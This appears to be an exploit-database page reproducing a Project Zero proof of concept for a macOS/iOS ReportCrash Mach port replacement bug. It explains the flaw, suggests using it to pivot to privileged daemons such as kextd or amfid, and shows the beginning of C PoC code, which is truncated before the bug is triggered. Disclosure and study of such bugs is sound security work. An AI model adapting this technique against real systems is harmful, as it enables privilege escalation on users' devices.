Apple macos/ios reportcrash mach port replacement due to failure to respect mig ownership rules Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-04-30 |
Type : dos |
Platform : multiple
This exploit / vulnerability Apple macos/ios reportcrash mach port replacement due to failure to respect mig ownership rules is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
You would normally never send a message yourself to ReportCrash but the kernel would do it
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
MIG kernel methods you can get a send right to ReportCrash.
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
This error path drops a UREF on the task and thread port arguments then returns error code 5.
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
be used to replace privileged port names leading to exploitable conditions.
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
will get sent their task ports if you can crash them.)
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
what's happening.
Tested on MacOS 10.13.3 17D47
*/
// ianbeer
#if 0
MacOS/iOS ReportCrash mach port replacement due to failure to respect MIG ownership rules
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
You would normally never send a message yourself to ReportCrash but the kernel would do it
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
MIG kernel methods you can get a send right to ReportCrash.
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
This error path drops a UREF on the task and thread port arguments then returns error code 5.
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
be used to replace privileged port names leading to exploitable conditions.
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
will get sent their task ports if you can crash them.)
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
what's happening.
int main() {
int uid = getuid();
if (uid != 0) {
printf("this PoC should be run as root\n");
return 0;
}
// take a look at our exception ports:
exception_mask_t masks[EXC_TYPES_COUNT] = {0};
mach_msg_type_number_t count = EXC_TYPES_COUNT;
mach_port_t ports[EXC_TYPES_COUNT] = {0};
exception_behavior_t behaviors[EXC_TYPES_COUNT] = {0};
thread_state_flavor_t flavors[EXC_TYPES_COUNT] = {0};
// the port we will target:
mach_port_t bs = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs);
printf("targeting bootstrap port: %x\n", bs);